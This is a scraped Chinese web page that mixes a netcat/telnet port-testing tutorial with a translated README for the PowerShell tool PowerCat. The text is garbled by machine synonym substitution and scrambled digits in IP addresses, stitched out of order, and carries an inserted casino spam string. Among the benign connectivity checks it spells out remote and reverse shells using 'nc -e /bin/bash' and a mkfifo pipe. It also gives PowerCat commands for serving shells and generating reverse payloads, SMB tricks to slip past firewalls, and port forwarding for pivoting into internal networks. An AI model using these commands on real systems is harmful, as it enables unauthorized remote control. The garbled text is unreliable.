TCP端口的连通性

方法1:TCP协议是面向连接的,能够一向通过telnet命令连接

telent ip port 

➜  packages telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.

方法二:使用nc(netcat)命令

nc -vz ip port 

➜  packages nc -vz 127.0.0.1 80
found 0 associations
found 1 connections:
     1: flags=82<CONNECTED,PREFERRED>
    outif lo0
    src 127.0.0.1 port 49594
    dst 127.0.0.1 port 80
    rank info not available
    TCP aux info available

Connection to 127.0.0.1 port 80 [tcp/http] succeeded!

➜  packages nc -zv 127.0.0.1 8080
nc: connectx to 127.0.0.1 port 8080 (tcp) failed: Connection refused

nc相关option:

        -u      UDP mode
        -v      Verbose
        -z      Zero-I/O mode [used for scanning]

Linux 下 TCP/UDP 端口测试及注明措施求证

在云服务器 ECS Linux
系统中,有时供给在系统中测试端口的连通性,以便确认系统的TCP、UDP协议栈是还是不是能够符合规律运作。本文对此展开简短表达。

PowerCat

与Netcat&Ncat合作使用的PowerShell TCP / IP瑞士联邦军刀

https://github.com/secabstraction/PowerCat

PowerCat 被打包为多少个 PowerShell module
据此要导入模块技艺使用效益:

# Import the functions via the psd1 file:
    Import-Module PowerCat.psd1

netcat又叫做瑞士联邦军刀,是黑客和系统一管理理员常用的互联网工具,最初开垦的指标是文件传输,后来上扬经典多强硬的效益,比如也能够成功批量主机服务扫描。

UDP端口的连通性

UDP商业事务是无连接的,不需求握手建立连接,数据发送后,server端也不会回去确认信息。

方法一:使用nc(netcat)命令

nc -uvz ip port

➜  packages nc -uvz 127.0.0.1 80
found 0 associations
found 1 connections:
     1: flags=82<CONNECTED,PREFERRED>
    outif (null)
    src 127.0.0.1 port 54152
    dst 127.0.0.1 port 80
    rank info not available

Connection to 127.0.0.1 port 80 [udp/http] succeeded!

小结:nc(netcat)是专门用来TCP/UDP连接和监听的指令,建议大家一向选取nc。

TCP端口测试

采纳 telnet 测试现存监听端口连通性

能够利用 Linux 自带的 telnet 工具来测试现存端口的连通性,测试命令为:

telnet <host> <port>
# host 是目标服务器 IP,port是待测试端口号

效用和参数

Start-PowerCat      # Starts a listener/server.

    -Mode           # Defaults to Tcp, can also specify Udp or Smb.
    -Port           # The port to listen on.
    -PipeName       # Name of pipe to listen on.

    -SslCn      # Common name for Ssl encrypting Tcp.
    -Relay          # Format: "<Mode>:<Port/PipeName>"
    -Execute        # Execute a console process or powershell.
    -SendFile       # Filepath of file to send.
    -ReceiveFile    # Filepath of file to be written.
    -Disconnect     # Disconnect after connecting.
    -KeepAlive      # Restart after disconnecting.
    -Timeout        # Timeout option. Default: 60 seconds

Connect-PowerCat    # Connects a client to a listener/server.

    -Mode           # Defaults to Tcp, can also specify Udp or Smb
    -RemoteIp       # IPv4 address of host to connect to.
    -Port           # The port to connect to.
    -PipeName       # Name of pipe to connect to.

    -SslCn      # Common name for Ssl encrypting Tcp.
    -Relay          # Format: "<Mode>:<IP>:<Port/PipeName>"
    -Execute        # Execute a console process or powershell.
    -SendFile       # Filepath of file to send.
    -ReceiveFile    # Filepath of file to be written.
    -Disconnect     # Disconnect after connecting.
    -Timeout        # Timeout option. Default: 60 seconds

前面介绍了另3个更常用的批量主机服务扫描工具:nmap。

示例:

能够如下指令测试 22 端口的连通性:

telnet 127.0.0.1 22

若成功总是,会呈现类似如下音信。分歧 Linux
系统环境下,显示恐怕天冠地屦,但一般若包罗 “Connected to …”
信息,则印证连接成功。

Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
SSH-2.0-OpenSSH_5.3

其余, Windows
环境下,成功连接后,会并发八个新窗口(有回显或无其余回显)。
假设连接失利,会展现类似如下音讯:

C:\>telnet 127.0.0.1 1111
正在连接127.0.0.1...无法打开到主机的连接。 在端口 1111: 连接失败

着力连接

私下认可情形下,PowerCat使用TCP协议 并且 从调节台读取,写到调节台。

 # Basic Listener: 监听本机443端口
    Start-PowerCat -Port 443

    # Basic Client: 
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443

netcat的装置也分外轻松,间接yum安装:

创设新的监听端口测试

能够行使 python 自带的 Web
服务器用于一时创办新的监听端口进行测试。用法如下:

python -m SimpleHTTPServer <所需端口号>

文件传输

参数为
-SendFile
-ReceiveFile

    # Send File: 
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -SendFile C:\pathto\inputfile

    # Receive File:
    Start-PowerCat -Port 443 -ReceiveFile C:\pathto\outputfile

yum install nc

以身作则输出:

[root@centos]# python -m SimpleHTTPServer 123
Serving HTTP on 0.0.0.0 port 123 ...
说明:启动的 Web 服务是单线程的,以当前目录为根目录,一次只能接受一个请求,一般只用来测试。测试完成按 Ctr +C 终止进程即可。

Shells

PowerCat can be used to send and serve (Power)Shells using the -Execute
parameter.

 # Serve a shell:
    Start-PowerCat -Port 443 -Execute

    # Send a Shell:
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -Execute

相似不建议在生产环境设置nc,因为nc除了能够批量主机服务扫描外,还帮助端口代理、文件传输,轻松产生安全隐患。

UDP端口测试

telnet 仅能用来 TCP 协议的端口测试,若要对UDP端口举行测试,能够运用 nc
程序。

动用如下指令确认系统内是还是不是早已设置了 nc:

which nc

UDP and SMB

端口转载,Linux常用网络工具。PowerCat supports more than sending data over TCP.
PowerCat协理的合计:TCP、UDP、SMB

    # Send Data Over UDP:
    Start-PowerCat -Mode Udp -Port 8000

    # Send Data Over SMB (easily sneak past firewalls):
    Start-PowerCat -Mode Smb -PipeName PowerCat

netcat之批量主机服务扫描

示范输出:

[root@centos]# which nc
/usr/bin/nc

要是 nc 未被安装,依据操作系统的区别, 使用yum 或 apt-get
等工具举办安装,本文不再详述。

SSL

PowerCat即时生成X50九证件,以提供TCP连接的SSL加密。
PowerCat generates X509 certificates on-the-fly to provide SSL
encryption of TCP connections.

    # Admin privileges are required to generate the self-signed certificate.

    # Serve an SSL-Encrypted (Power)Shell:
    Start-PowerCat -Mode Tcp -Port 80 -SslCn <Certificate Common Name> -Execute

    # Connect to an SSL encrypted Ncat listener:
    # Setup *nix with openssl & Ncat:
    # openssl req -X509 -newkey rsa:2048 -subj /CN=PowerCat -days 90 -keyout key.pem -out cert.pem
    # ncat -l -p 80 --ssl --ssl-cert cert.pem --ssl-key key.pem

    Connect-PowerCat -Mode Tcp -RemoteIp 10.1.1.1 -Port 80 -SslCn PowerCat 

选择如下指令测试对象服务器 UDP 端口的连通性:

Relays

Relays in PowerCat are similar to netcat relays, but you don’t have to
create a file or start a second process. You can also relay data between
connections of different protocols.

    # UDP Listener to TCP Client Relay:
    Start-PowerCat -Mode Udp -Port 8000 -Relay tcp:10.1.1.16:443

    # TCP Listener to UDP Client Relay:
    Start-PowerCat -Port 8000 -Relay udp:10.1.1.16:53

    # TCP Client to Client Relay
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 9000 -Relay tcp:10.1.1.16:443

    # TCP Listener to SMB Listener Relay
    New-PowerCat -Listener -Port 8000 -Relay smb:PowerCat

netcat在围观时常用的参数:

用法:

nc -vuz <目标服务器 IP> <待测试端口>

Generate Payloads

Payloads can be generated using the New-PowerCatPayload function.

    # Generate a reverse tcp payload that connects back to 10.1.1.15 port 443:
    New-PowerCatPayload -RemoteIp 10.1.1.15 -Port 443 -Execute 

    # Generate a tcp payload that listens on port 8000:
    New-PowerCatPayload -Listener -Port 8000 -Execute

-w 设置超时时间

以身作则输出:

[root@centos]# nc -vuz 192.168.0.1 25
Connection to 192.168.0.1 25 port [udp/smtp] succeeded!

若重临结果中带有 “succeeded”
字样,则证实相应的端口访问平常。假使无其余重临消息,则印证相应端口访问战败。

Misc Usage

PowerCat can also perform port-scans, start persistent listeners, or act
as a simple web server.

    # Basic TCP port scan:
    1..1024 | ForEach-Object { Connect-PowerCat -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose -Disconnect }

    # Basic UDP port scan:
    1..1024 | ForEach-Object { Connect-PowerCat -Mode Udp -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose }

    # Persistent listener:
    Start-PowerCat -Port 443 -Execute -KeepAlive

    # Simple Web Server:
    Start-PowerCat -Port 80 -SendFile index.html

-z 输入输出方式

参数表达:

-v    详细输出(用两个-v可得到更详细的内容)
-u    使用UDP传输协议
-z    让nc只扫描端口,不发送任何的数据 

Exiting

In most cases, the ESC key can be used to gracefully exit PowerCat.


-v 突显命令实践进程

netcat

nc
netcat是互连网工具中的瑞士联邦军刀,通过TCP和UDP在互连网中读写多少。
透过与其余工具结合和重定向,你能够在剧本中以多样主意使用它。
利用netcat命令所能实现的业务令人诧异。

netcat所做的正是在两台Computer之间建立链接并重回四个数据流,在这之后所能做的事就看你的想像力了。
您能树立2个服务器,传输文件,与意中人闲谈,传输流媒体,用它看成别的协议的独自客户端。
选择格式:

nc [options…] hostname port
nc -l -p port [-s addr] [options…] [hostname] [port]

首要参数:

-4 IPv4模式

-6 IPv6模式

-b, –bluetooth蓝牙( Bluetooth® )格局(默以为L2CAP协议)

-e,–exec=CMD连接建立后推行命令

-l 监听入站连接

-n 钦命数字的IP地址,无法用hostname

-u UDP模式

-t TCP情势(默许格局)

-v 详细输出——用八个-v可收获更详细的内容

-w,–time=SECONDS连接建立后的延时

-z 扫描形式,不会发送任何数据

-T,–ttl=TTL自定义初阶TTL

-z 将输入输出关掉——用于扫描时

-x,–transfer文件传输情势

-X ,–rev-transfer反向文件传输方式

-s,–address=ADDRESS本地源ip

常用命令:

端口扫描

端口扫描,发现主机开放的端口

nc -z -v -n 220.181.57.217 80-81
found 0 associations
found 1 connections:
     1: flags=82<CONNECTED,PREFERRED>
    outif en0
    src 192.168.1.170 port 55690
    dst 220.181.57.217 port 80
    rank info not available
    TCP aux info available

Connection to 220.181.57.217 port 80 [tcp/*] succeeded!

-v 详细输出
-n 不利用DNS反向查询IP地址的域名

能够运作在TCP或然UDP情势:私下认可是TCP -u参数钦点为UDP

# 对已经开放的端口,使用netcat(会先自动连接开放端口)抓取此端口的banner
nc -v 220.181.57.217 80

TCP协议

互相通讯

Server <-> Client

只可以三个人通讯:双方任何壹方发送内容,另一方得以见见。
两边任何一方Ctrl-c甘休一连,则另一方也会自动断开。

# Server  (IP 192.168.1.170)
#在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

nc -l 1567

### Client
nc 192.168.1.170 1567

nc -v -z -w2 192.168.2.224 1-50

文件传输

Server -> Client

FTP,SCP,SMB等合计,都能传输文件。

nc也能够传输文件:
双面建立连接,权且传输内容,并保存为文件。

#Server    (IP 192.168.1.170)
#监听1567端口,任何Client成功连接该端口后,服务器端把README.md中的内容发送过去。
nc -l 1567 < README.md

#Client
#主动连接到服务器端口,当获取内容结束后,断开双方连接。
nc -n 192.168.1.170 1567 #在shell中显示该文件的内容
nc -n 192.168.1.170 1567 > README2222.md #重定向 保存到文件中

UDP协议

目录传输

使用压缩工具tar压缩后发送压缩包,就能够发送几个公文,或许全部目录。

#Server     (IP 192.168.1.170)
# 打包(不压缩)指定目录,通过 - 输入控制台重定向(当前目录中不生成新文件),又通过管道命令传给:nc
tar -cvf - dir_name/ | nc -l 1567

#Client
# 连接到服务器的1567端口,通过管道命令传给:tar工具 解压 控制台重定向的输出- 得到目录。
nc -n 192.168.1.170 1567 | tar -xvf -

nc -v -z -w2 -u 192.168.2.224 1-50

端口转发

netcat 做轻松的端口转载。

背景:
19二.16捌.一.10一内需拜访1玖贰.16捌.一.拾二的七千端口
(指标主机防火墙不允许外界机器访问捌仟端口,只同意其余机器连接指标主机1九二.16八.1.十二的玖仟端口)

操作:
1玖二.16八.壹.101透过三番五次目标机1玖二.168.壹.10二的柒仟端口
(指标机内九千 <-> 九千 转载成功)
就实现了1玖二.16八.1.十一与目的机192.168.一.10二的7000端口的通讯。

#Server     (IP 192.168.1.102)
#防火墙只允许8000端口通信
nc -l 8000

#在目标机192.168.1.102内 令 9000端口 作为 转发数据的端口
#实现了 8000 <-> 9000 的端口转发
cat /tmp/fifo | nc localhost 8000 | nc -l 9000 > /tmp/fifo

#Client
#在客户端192.168.1.101主动连接192.168.1.102的9000端口
#实际上客户端只连接服务器端的9000端口
nc -n 192.168.1.102 9000

端口转载可用于内网渗透:
Client不能够直接待上访问内网特定机器X,并打响得到了内网1台机器N:
在跳板机N内做端口转载,N接受到外网的多寡,将其转会到内网目的机器X的特定端口。

以下,未有开始展览实际的测试。

netcat之文件传输

点名地方 – 客户端主动发起连接的地址

假诺本机有多少个ip地址:
澳门金沙国际,在netcat中采取-s选项钦点与表面通信的ip地址。

#Server     (IP 192.168.1.102)
#服务器端正常监听
nc -u -l 1567 < file.txt

#Client     (IP 192.168.1.101)
#指定 客户端本机 主动发起连接的ip地址 为192.168.1.101

nc -u 192.168.1.102 1567 -s 172.31.100.101 > file.txt

点名端口 – 客户端主动发起连接的端口

假诺 客户端Client的防火墙,只同意贰5端口和表面通信:
所以须要发送发给外部的数据都要经过2五端口 才干发出

#Server     (IP 192.168.1.102)
#正常监听
nc -l 1567

#Client
#客户端Client的防火墙只允许25端口主动发出连接,和外部通讯
#-p 25 指定打开25端口,主动发出连接。否则打开任意端口进行通讯。
#root权限才能打开1024以内的端口

nc 192.168.1.170 1567 -p 25

netcat可以内定一个地点端口号开启监听方式,客户端能够利用同①的netcat连接开启的端口发送音讯,音信就要服务端显示出来。

长距离shell – 正向shell: A主动连到B A获得B的shell

Server 提供叁个shell
Client 得到shell输入指令

若是未有安装或未有权力安装telnet或ssh
可用netcat创立远程shell

#Server     (IP 192.168.1.170)
#被控端

#netcat默认支持 -c -e 参数
#当有客户端连接成功时,执行/bin/bash
nc -l 1567 -e /bin/bash -i

#Server     (IP 192.168.1.170)
#被控端
#openBSD netcat (如Mac系统自带的nc):并不支持-c 或者 -e 参数,也能创建远程shell


mkfifo /tmp/tmp_fifo # 创建了一个fifo文件
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo #使用管道命令把这个fifo文件内容定向到shell 2>&1中。
#是用来重定向标准错误输出和标准输出,然后管道到netcat运行的端口1567上。
#这样已经把netcat的输出重定向到fifo文件中。

说明:
从互连网收到的输入写到fifo文件中
cat 命令读取fifo文件并且其剧情发送给sh命令
sh命令进度遭到输入并把它写回到netcat。
netcat 通过互联网发送输出到client

能成功是因为:管道义务令平行推行,fifo文件用来代表符合规律文件,因为fifo使读取等待而假如是二个数见不鲜文书,cat命令会尽快终结并初阶读取空文件。

#Client
#主控端 直接连接 得到一个shell提示符在客户端
nc 192.168.1.170 1567

展开监听

长距离shell – 反向shell: A主动连到B B获得A的shell

Server 提供2个shell
Client 获得shell输入指令

反向shell:在客户端展开的shell。
反向shell这样命名是因为分化于别的安插,那里服务器使用的是由客户提供的劳动。

服务端

#Server     (IP 192.168.1.170)
nc -l 1567

#Client
#客户端netcat主动连接,执行shell。
nc 172.31.100.7 1567 -e /bin/bash

反向shell作用:
反向shell平时被用来绕过防火墙的限量,如阻止入站连接。
比如说,某内网机器A 经过网络地址调换(Network Address
Translation)连接到表面网络 机器B。

想要两台主机连接:
【成功】内网机器A 主动发起连接 能连接到表面机器B。

【战败】网络外部机器B 主动走访 内网机器A 的shell料定没戏。

nc -l 2389

传输(加密过的)数据

利用mcrypt工具,两端密码必须一律。

#Server     (IP 192.168.1.170)
# 使用mcrypt工具加密数据
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

#Client
#使用mcrypt工具解密数据。
nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

创造连接

传输流摄像

即便不是变化流录制的最佳法子:

#Server     (IP 192.168.1.170)
#读入一个视频文件,重定向输出到netcat
cat video.avi | nc -l 1567

#Client
#从socket中读入数据并重定向到mplayer(需安装)
nc 192.168.1.170 1567 | mplayer -vo x11 -cache 3000 -

nc localhost 2389

克隆Linux

dd是2个从磁盘读取原始数据的工具,笔者透过netcat服务重视定向它的输出流到其余机器并且写入到磁盘中,它会趁机分区表拷贝全部的新闻。
可是只要咱们早就做过分区并且只须求克隆root分区,大家能够依据大家系统root分区的职位,更动sda
为sda1,sda二.之类。

#Server     (IP 192.168.1.170)
#假如你的系统在磁盘/dev/sda上
dd if=/dev/sda | nc -l 1567

#Client
nc -n 192.168.1.170 1567 | dd of=/dev/sda

如若将服务端的出口重定向到文件,就能够用于文件传输:

别的职能

采纳-t选项模拟Telnet客户端
HTTP客户端用于下载文件
三番五次到邮件服务器,使用SMTP协议检查邮件
选取ffmpeg截取荧屏并通过流式传输分享
只要询问商业事务,就能运用netcat作为互联网通信媒介,达成各样客户端。

nc -l 2389 > test

传输文件

cat testfile | nc localhost 2389

假诺在一台服务器上测试,可以使用&把nc切换成后台职分,在运作客户端的通令。

正文永恒更新链接地址:http://www.linuxidc.com/Linux/2015-06/118601.htm

澳门金沙国际 1

相关文章